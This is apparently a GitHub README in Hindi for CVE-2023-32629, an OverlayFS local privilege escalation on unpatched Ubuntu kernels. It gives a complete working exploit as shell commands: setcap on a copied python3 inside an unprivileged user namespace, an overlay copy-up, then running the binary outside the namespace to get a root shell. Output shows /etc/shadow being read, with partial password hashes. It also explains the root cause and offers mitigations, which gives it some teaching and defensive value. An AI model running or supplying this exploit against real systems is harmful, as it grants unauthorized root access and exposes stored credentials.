h3raklez/cve-2023-32629OverlayFS स्थानीय विशेषाधिकार वृद्धि - पूर्ण विवरण से पूर्ण वृद्धि तक
OverlayFS स्थानीय विशेषाधिकार वृद्धि - पूर्ण विश्लेषण से पूर्ण वृद्धि तक
केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए।
गंभीरता: उच्च
प्रकार: स्थानीय विशेषाधिकार वृद्धि (LPE)
प्रभावित: मई/जून 2023 पैच से पहले के उबंटू कर्नेल
आवश्यकता: अनविशेषाधिकृत user namespaces सक्षम (उबंटू पर डिफ़ॉल्ट)
CVE-2023-32629 लिनक्स कर्नेल के OverlayFS कार्यान्वयन में एक भेद्यता है। यह OverlayFS कॉपी-अप ऑपरेशन के दौरान user namespaces और filesystem capabilities के बीच की परस्पर क्रिया का दुरुपयोग करके किसी भी अनविशेषाधिकृत उपयोगकर्ता से वास्तविक होस्ट रूट तक स्थानीय विशेषाधिकार वृद्धि प्राप्त करता है।
जब आप unshare -r चलाते हैं, तो कर्नेल एक नया user namespace बनाता है और आपके होस्ट UID को उसके अंदर UID 0 में मैप करता है:
/proc/self/uid_map:
0 1001 1 ← "UID 0 inside namespace = UID 1001 (lowpriv) outside"
इसका मतलब है कि आप नेमस्पेस के अंदर root के रूप में दिखाई देते हैं, लेकिन होस्ट संसाधनों पर फाइलसिस्टम अनुमति जाँच करते समय होस्ट कर्नेल हमेशा आपके वास्तविक UID में वापस अनुवाद करता है।
OverlayFS एक lowerdir (रीड-ओनली) और एक upperdir (रीड-राइट) को एक मर्ज किए गए व्यू में स्टैक करता है। जब मर्ज किए गए व्यू के माध्यम से lowerdir में किसी फ़ाइल में लिखा जाता है, तो कर्नेल पहले उसे upperdir में कॉपी करता है — इसे कॉपी-अप कहा जाता है।
महत्वपूर्ण: कॉपी-अप कर्नेल द्वारा स्वयं होस्ट क्रेडेंशियल्स का उपयोग करके किया जाता है, चाहे इसे किसी भी नेमस्पेस ने ट्रिगर किया हो। इस ऑपरेशन के दौरान filesystem capabilities सहित सभी विस्तारित विशेषताएँ (xattrs) संरक्षित रहती हैं।
| तंत्र | रूट स्वामित्व की आवश्यकता | द्वारा प्रदान किया गया |
|---|---|---|
| SUID बिट | ✅ हाँ | chmod u+s |
Capabilities (cap_setuid) | ❌ नहीं | setcap + trusted xattr |
यह अंतर एक्सप्लॉइट का मूल है। Capabilities को कर्नेल द्वारा अकेले xattr के आधार पर सम्मानित किया जाता है, चाहे फ़ाइल का स्वामी कोई भी हो।
unshare -rm sh -c "
mkdir -p l u w m &&
cp /usr/bin/python3 l/ &&
setcap cap_setuid+eip l/python3 &&
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
echo >> m/python3 &&
cp u/python3 /tmp/rootshell &&
chmod 4755 /tmp/rootshell
"
/tmp/rootshell -c 'import os; os.setuid(0); os.system("/bin/bash -p")'
-rwsr-xr-x 1 lowpriv lowpriv 8016833 /tmp/rootshell
PermissionError: [Errno 1] Operation not permitted
cp और chmod कमांड नेमस्पेस के अंदर चले, जहाँ UID 0 होस्ट पर lowpriv में मैप होता है। इसलिए:
/tmp/rootshell वास्तविक रूट के बजाय lowpriv के स्वामित्व में थाlowpriv-स्वामित्व वाली फ़ाइल पर SUID केवल lowpriv प्रदान करता है — जो हमारे पास पहले से थाcp ऑपरेशन ने बाइनरी से capability xattrs को भी हटा दियाunshare -rm sh -c "
mkdir -p l u w m &&
cp /usr/bin/python3 l/ &&
setcap cap_setuid+eip l/python3 &&
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
echo >> m/python3 &&
m/python3 -c 'import os; os.setuid(0); os.system(\"/bin/bash -p\")'
"
root@hostname:~# whoami
root
root@hostname:~# cat /etc/shadow
cat: /etc/shadow: Permission denied
शेल केवल नेमस्पेस के अंदर रूट था। जब उसने /etc/shadow तक पहुँचने का प्रयास किया, तो कर्नेल ने अनुवादित होस्ट UID का उपयोग करके VFS अनुमति जाँच की:
Process UID (inside NS): 0 (looks like root)
Kernel translation: 0 → 1001 (lowpriv on host)
/etc/shadow permissions: 640 root:shadow
Effective checker UID: 1001 (lowpriv)
Result: EACCES — Permission denied
नेमस्पेस का बुलबुला होस्ट फाइलसिस्टम संसाधनों को छूने पर वास्तविक होस्ट रूट तक कभी नहीं पहुँच पाता।
# Step 1: Set up the OverlayFS inside the namespace and EXIT
unshare -rm sh -c "
mkdir -p l u w m &&
cp /usr/bin/python3 l/ &&
setcap cap_setuid+eip l/python3 &&
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
touch m/python3
"
# touch triggers kernel copy-up: l/python3 → u/python3
# kernel runs copy-up with HOST credentials, preserving cap_setuid xattr
# Step 2: Verify the capability survived on the host filesystem
getcap u/python3
# u/python3 cap_setuid=eip ← trusted xattr set on host FS
# Step 3: Execute OUTSIDE the namespace
u/python3 -c 'import os; os.setuid(0); os.system("/bin/bash -p")'
root@hostname:~# whoami
root
root@hostname:~# cat /etc/shadow
root:*:20305:0:99999:7:::
ubuntu:!$6$G/ZfsnyX...
lowpriv:$y$j9T$0XsK...
admin:$y$j9T$TQiE...
1. setcap inside user namespace
│
│ writes cap_setuid as trusted xattr on l/python3
▼
2. touch m/python3 → OverlayFS copy-up triggered
│
│ kernel copies l/ → u/ using HOST credentials
│ ALL xattrs preserved, including cap_setuid
▼
3. u/python3 exists on HOST filesystem
│
│ owner: lowpriv (irrelevant for capabilities)
│ xattr: cap_setuid=eip (kernel trusts this)
▼
4. Execute u/python3 OUTSIDE the namespace
│
│ no UID mapping in effect
│ kernel reads cap_setuid=eip as host-level capability
│ os.setuid(0) → real host root
▼
5. Shell has genuine UID 0
│
│ VFS checks pass as real root
└─ /etc/shadow readable
कर्नेल को कॉपी-अप के दौरान user namespace के अंदर से सेट किए गए trusted capability xattrs को सम्मानित नहीं करना चाहिए, क्योंकि वे xattrs होस्ट-स्तरीय विश्वास रखते हैं। इस सीमा को लागू करने में विफलता ही बग है।
नेमस्पेस ने हमें किसी फ़ाइल पर trusted capability सेट करने की क्षमता दी; कर्नेल कॉपी-अप ने उस capability को होस्ट फाइलसिस्टम पर तस्करी कर पहुँचाया; नेमस्पेस के बाहर निष्पादन ने इसे वास्तविक बना दिया।
sysctl -w kernel.unprivileged_userns_clone=0
unshare + mount overlayfs संयोजनों की निगरानी करेंयह उपकरण केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए प्रदान किया गया है। उन प्रणालियों के विरुद्ध अनधिकृत उपयोग जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है, अवैध है। लेखक किसी भी दुरुपयोग के लिए ज़िम्मेदार नहीं है।
| नेमस्पेस के अंदर | नेमस्पेस के बाहर |
|---|
| UID 0 का अर्थ है | lowpriv (मैप किया गया) | वास्तविक रूट |
setuid(0) प्रभाव | no-op (पहले से NS-रूट) | वास्तविक वृद्धि |
| होस्ट FS एक्सेस | अनुवादित → lowpriv | पूर्ण रूट |
cap_setuid सम्मानित | केवल NS के भीतर | हाँ, होस्ट-स्तरीय |